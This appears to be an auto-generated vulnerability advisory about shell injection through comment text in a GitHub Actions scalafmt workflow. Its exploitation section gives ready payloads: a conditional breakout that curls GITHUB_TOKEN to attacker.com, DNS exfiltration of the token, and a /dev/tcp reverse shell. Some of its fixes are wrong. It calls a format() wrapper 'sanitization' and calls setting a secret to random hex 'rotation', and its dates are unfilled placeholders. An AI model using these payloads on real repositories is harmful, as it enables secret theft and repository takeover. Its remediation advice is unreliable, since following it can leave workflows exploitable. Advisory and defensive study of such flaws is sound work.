Listen to this Post
How the CVE Works
The vulnerability arises from improper handling of `github.event.comment.body` in GitHub Actions workflows. When an attacker posts a specially crafted comment containing shell command injection payloads, the workflow script interpolates the input directly into a shell command without sanitization. This allows arbitrary command execution in the runner environment.
The vulnerable workflow checks for a comment containing “scalafmt” but fails to sanitize the input before using it in a shell conditional (if [[ ... ]]). An attacker can break out of the conditional and inject malicious commands, such as exfiltrating `GITHUB_TOKEN` or other secrets via curl. Since the token has `contents: write` permissions, full repository compromise is possible.
DailyCVE Form
Platform: GitHub Actions
Version: Unpatched workflows
Vulnerability: Code Injection
Severity: Critical
Date: 2024-XX-XX
Prediction: Patch expected by 2024-XX-XX (mitigation available)
What Undercode Say:
Exploitation
1. Payload Example:
test" == "test" ]]; then curl -X POST https://attacker.com -d "$GITHUB_TOKEN";
2. Exfiltration via DNS:
dig $(echo $GITHUB_TOKEN | base64).exfil.attacker.com
3. Reverse Shell:
bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/443 <&1'
Protection
1. Input Sanitization:
env:
SAFE_BODY: ${{ format('{0}', github.event.comment.body) }}
2. Token Permissions Restriction:
permissions: contents: read
3. Workflow Hardening:
- name: Safe Comment Check
run: |
echo "$COMMENT" | grep -q "scalafmt"
env:
COMMENT: ${{ github.event.comment.body }}
Detection
1. Audit Workflows:
grep -r "github.event.comment.body" .github/workflows/
2. Monitor Suspicious Comments:
gh api -H "Accept: application/vnd.github.v3+json" /repos/OWNER/REPO/issues/comments
Mitigation
1. Secret Rotation:
gh secret set BROADBOT_GITHUB_TOKEN --body="$(openssl rand -hex 32)"
2. Disable Vulnerable Workflows:
gh workflow disable scalafmt-fix.yml
References
- GitHub Actions Contexts: `https://docs.github.com/en/actions/learn-github-actions/contexts`
- CWE-78: OS Command Injection
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
